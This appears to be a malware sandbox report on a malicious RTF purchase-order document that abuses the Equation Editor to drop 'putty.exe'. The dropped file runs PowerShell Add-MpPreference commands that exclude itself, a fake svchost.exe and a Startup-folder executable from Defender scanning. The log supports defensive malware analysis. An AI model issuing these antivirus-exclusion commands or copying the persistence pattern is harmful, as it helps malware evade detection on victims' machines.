Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....................$........)......................0.......S.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_.......5.2.V.5.7.U.7.\.s.v.c.h.o.s.t...e.x.e. .-.F.o.r.c.e.............0......._...............4.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P..............................)......................0......._.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P..............................)......................0.......k.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P..............................*......................0.......k.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w...............2.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P............................. ,......................0.......w.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................f,......................0.......................l.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................,......................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P..............................,......................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................,......................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............................J/......................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.............................{/......................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....................$......../......................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....................$......../......................0......./.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....................$......../......................0.......;...............\|.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....................$........0......................0.......;.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7.......70......................0.......G...............".......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.....................$.......R0......................0.......G.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....................$.......\|0......................0.......S.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....................$........0......................0.......S.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_.......i.u.y.t.\.q.w.e.r.u.i.u.y.t...e.x.e. .-.F.o.r.c.e...............0......._...............2.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.....................$........0......................0......._.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.............................11......................0.......k.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.............................Q1......................0.......k.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w...............2.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.....................$........1......................0.......w.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................1......................0.......................l.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................2......................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P..............................2......................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..............................2......................0...............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....8.......................o4......................0.......#.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................#...............(.P.....8........................4......................0.......#.......x...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....8........................4......................0......./.......................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ......................../...............(.P.....8........................4......................0......./.......x...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....8........................5......................0.......;...............\|.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................;...............(.P.....8.......................>5......................0.......;.......x...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G.......A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.7.......o5......................0.......G.......x.......".......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................G...............(.P.....8........................5......................0.......G.......x...............h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....8........................5......................0.......S.......................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................S...............(.P.....8........................5......................0.......S.......x...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_.......5.2.V.5.7.U.7.\.s.v.c.h.o.s.t...e.x.e. .-.F.o.r.c.e.............0......._.......x.......4.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................_...............(.P.....8...............$.......J6......................0......._.......x...............h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....8...............$.......x6......................0.......k.......................h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................k...............(.P.....8........................6......................0.......k.......x...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w....... . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...............0.......w.......x.......2.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................w...............(.P.....8...............$........6......................0.......w.......x...............h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....8...............@........7......................0.......................l.......h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....8...............@.......<7......................0...............x...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....8...............@.......r7......................0...............x...............h...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....8...............$........7......................0...............x...............h...............

Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Users\user\AppData\Roaming\putty.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll

Source: C:\Users\user\AppData\Roaming\putty.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\user\AppData\Roaming\putty.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\putty.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\putty.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\putty.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\putty.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\putty.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Roaming\putty.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\putty.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\putty.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Resources\Themes\Aero\Shell\52V57U7\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\qweruiuyt\qweruiuyt.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Customer-unionroadwaysltd-8754-PO.doc__.rtf

ReversingLabs: Detection: 17%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe'
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\putty.exe' -Force
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
Source: C:\Users\user\AppData\Roaming\putty.exe	Process created: C:\Users\user\AppData\Roaming\putty.exe C:\Users\user\AppData\Roaming\putty.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe'
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3036 -s 1132
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe' -Force
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e888z168ybTRefC409a4S5mn41ofdd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\Shell\52V57U7\svchost.exe' -Force
